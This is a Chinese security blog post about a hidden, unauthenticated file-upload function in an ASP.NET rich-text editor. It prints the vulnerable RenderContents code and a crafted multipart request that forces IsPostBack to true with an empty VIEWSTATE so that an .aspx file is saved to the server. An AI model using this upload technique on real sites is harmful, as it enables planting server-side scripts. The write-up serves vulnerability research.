html 编辑器编码漏洞,某富文本编辑器文件上传漏洞(小论如何控制IsPostBack的值) | CN-SEC 中文网...
在这个文本编辑器上没有找到任何按钮是可以直接上传文件的(只有插入文件上传按钮,没啥用),但是代码里面是隐藏有这样一个功能的:
code 区域
protected override void RenderContents(HtmlTextWriter output)
{
if (this.Page.IsPostBack) //判断是否第一次访问,这个是小的关键点
{
//if there is an uploaded file
HttpFileCollection UploadFile =this.Page.Request.Files;
for (int i = 0; i < UploadFile.Count; i++)
{
HttpPostedFile file = UploadFile[i];
string FileName = Path.GetFileName(file.FileName);
string StrPath = this.Page.MapPath("~/Uploads/");
try
{
file.SaveAs(Path.Combine(StrPath, FileName));
}
catch (DirectoryNotFoundException DirectoryNullException)
{
output.Write(DirectoryNullException.Message);
}
}
}
Page.ClientScript.GetPostBackEventReference(this.Page, string.Empty);
HtmlSourceInitializer.InitializeHtmlSource(this.Page);
output.Write(HtmlSourceInitializer.RichTextHtmlSource.ToString());
}
RenderContents是绘制自定义控件时会自动调用的一个方法,这个编辑器直接把他重写了。
里面对于文件上传的判断,主要是由this.Page.IsPostBack来控制的,IsPostBack意思简述就是“是否是第一次访问该页面”。
更多请看:
http://**.**.**.**/zh-cn/library/system.web.ui.page.ispostback.aspx
所以,对于IsPostBack的值的控制,是是否可以成功上传文件的关键。
所以我们先考虑下,有没有比较万全的方法,可以使得IsPostBack的值可以为true(为true我们就可以上传文件了啊)
先搞一个文件上传的html试试:
上传了,文件夹里面并没有生成文件:
所以很肯定的一点,就是直接用这个方法上传文件,ispostback是肯定不会有true的!
再用自带的demo,里面有一个get data的按钮,直接点击
我们会看到自动提交了很多数据,在里面插入一段文件的代码:
code 区域
Content-Disposition: form-data; name="file"; filename="a.aspx"
Content-Type: application/xml
ai
先去掉其它东西,留下viewstate和这段file代码
code 区域
------WebKitFormBoundaryI4bps9FYvWWWngDb
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwUKMjEyNTk0Njc3Ng9kFgRmDxYCHglpbm5lcmh0bWwFqAQ8dGl0bGU+S3VsZWguY29tPC90aXRsZT48bGluayByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJyBocmVmPScvV2ViUmVzb3VyY2UuYXhkP2Q9VE54b2cyVGt0YzA1aFdidHg3OXpBOG5UbWEyWEhUSmxrNkozSV9OUWhmVjRpeVNIcnhvRHJNSXVjSEFlTl9fd25Fb3cyMGM0VGQwWmhIeWtJcDd2S2cyJnQ9NjM0OTcxMjg4NjU2MDgyOTcwJyAvPjxsaW5rIHJlbD0nc3R5bGVzaGVldCcgdHlwZT0ndGV4dC9jc3MnIGhyZWY9Jy9XZWJSZXNvdXJjZS5heGQ/ZD1UTnhvZzJUa3RjMDVoV2J0eDc5ekE4blRtYTJYSFRKbGs2SjNJX05RaGZWaVlLUGtBdUJJQUVteFFKU1ozejZwM0VvdVExZThWU3o2anJIODEtLU1YZzImdD02MzQ5NzEyODg2NTYwODI5NzAnIC8+PGxpbmsgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2NzcycgaHJlZj0nL1dlYlJlc291cmNlLmF4ZD9kPVROeG9nMlRrdGMwNWhXYnR4Nzl6QThuVG1hMlhIVEpsazZKM0lfTlFoZlhpYnhrVk12RTB1WndQVi1NZmg5Ui1seWt1aHVfczFGQ0tDNGRmbk12cGl3MiZ0PTYzNDk3MTI4ODY1NjA4Mjk3MCcgLz5kAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGFkZH1GEi58juKz50rMm0Z+FcD3dEUs
------WebKitFormBoundaryI4bps9FYvWWWngDb
Content-Disposition: form-data; name="file"; filename="a.aspx"
Content-Type: application/xml
ai
------WebKitFormBoundaryI4bps9FYvWWWngDb—
此时测试是可以成功上传文件的:
先解开viewstate看看,看是否存在某一个值比如ispostback=true?
仔细对照了下,没有发现任何的地方是有ispostback=true的。
再清空viewstate,让viewstate=null
一样成功上传了文件
所以按这个情况来分析,ispostback=true的一个条件是存在viewstate这个参数!只要viewstate是正确的或者为空值,都可以成立(千万不能乱伪造,接不开viewstate会导致系统报错,会500)。
综上,当遇到需要控制ispostback的值为true的时候,只要存在一个可控不会报错的viewstate值,服务器就会自动判断你不是第一次访问该页面,可以直接用类似下面的html代码解决问题:
code 区域
小漏洞里面也可以研究出一些小知识,希望大家受益。这个点可能还可以用在很多其它系统上,说不定会有很给力的效果(比如一些绕过)。
html 编辑器编码漏洞,某富文本编辑器文件上传漏洞(小论如何控制IsPostBack的值) | CN-SEC 中文网...相关推荐
- fckeditor漏洞_三十,文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御
一.编辑器漏洞 1.编辑器 编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档. 编辑器通常分为两种情况: (1) 不需要后台验证,可以直接在前台访问且 ...
- 织梦guestbook.php漏洞,DEDE:织梦漏洞修复(含任意文件上传漏洞与注入漏洞)
这几天阿里频繁提醒网站有漏洞,搞得我不胜其烦,好吧,我修复还不行吗?搜索之后整理如下,仅供参考(5.7以上版本适用): 任意文件上传漏洞修复 一./include/dialog/select_soft ...
- kindeditor php 漏洞,kindeditor=4.1.5 文件上传漏洞 | CN-SEC 中文网
摘要 漏洞存在于 kindeditor 编辑器里,你能上传. txt 和. html 文件,支持 php/asp/jsp/asp.net 漏洞存在于 kindeditor 编辑器里,你能上传. txt ...
- struts2 ajax上传文件 file空_WordPress插件漏洞分析:WPDiscuz任意文件上传漏洞
写在前面的话 就在不久之前,Wordfence的威胁情报团队在一款名叫wpDiscuz的Wordpress评论插件中发现了一个高危漏洞,而这款插件目前已有超过80000个网站在使用了.这个漏洞将允许未 ...
- uploadify.php 漏洞,PhotoStore “uploadify.php”任意文件上传漏洞
发布日期:2014-01-08 更新日期:2014-01-12 受影响系统: ktools PhotoStore 4.0.7 描述: --------------------------------- ...
- 文件上传漏洞ED01-CMS v20180505 存在任意文件上传漏洞
进入登陆页面我们弱口令admin:admin登录成功: 登录后我们进入user目录上传图片: 我们上传shell.png,抓包修改为shell.php; <?php system($_GET(1 ...
- [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步.前文分享了文件上传漏洞和IIS6.0解析漏洞,包括PHP345文件绕过上传.Win ...
- kindeditor编辑器文件上传漏洞
kindeditor编辑器版本小于4.1.5存在文件上传漏洞,可利用该漏洞上次网页.文本文件,可网站进行篡改,添加赌博.反共等违法信息. 通过扫描器发现该网站存在编辑器. 通过浏览器访问,确定该编辑器 ...
- 文件上传漏洞-原理篇
目录 第1章 文件上传漏洞基础 1.1 漏洞概述 1.2 漏洞成因 1.3 漏洞危害 1.4 漏洞利用姿势 第2章 文件上传漏洞检测与绕过 2.1 前端检测和绕过 2.2 服务器端检测和绕过 第3章 ...
最新文章
- Windows下Unity5x的安装
- springmvc的讲解
- 基于Token进行身份验证
- mysql数据库中的校对集
- scala-wordcount
- 边缘计算比云计算强在哪里?终于有人讲明白了
- rx550 黑苹果_黑苹果Hackintosh显卡入手指南
- 胖客户端、瘦客户端与智能客户端
- 计算机专业选锐龙还是英特尔,如何选择cad制图用英特尔还是锐龙?
- 使用Cytoscape-BiNGO 对非模式生物做go富集
- python安装后不能画图_Python实现画图软件功能,windows的画图功能不能实现
- 数贝携手付晓岩老师带你玩转“企业架构”
- html5 窗口 最小化,HTML5 窗口最小化动画(先压扁后变窄)
- java科大讯飞语音合成,亲测
- ThreadPoolExecutor中addWorker,continue retry和break retry是什么意思
- Anemometer让慢查询可视化
- 中国石油大学《机械电气安全技术(含课程设计)》第三阶段在线作业
- H-1B身份六年后的延期问题
- less与sass的区别
- 转载 如何用示波器进行UART串口数据分析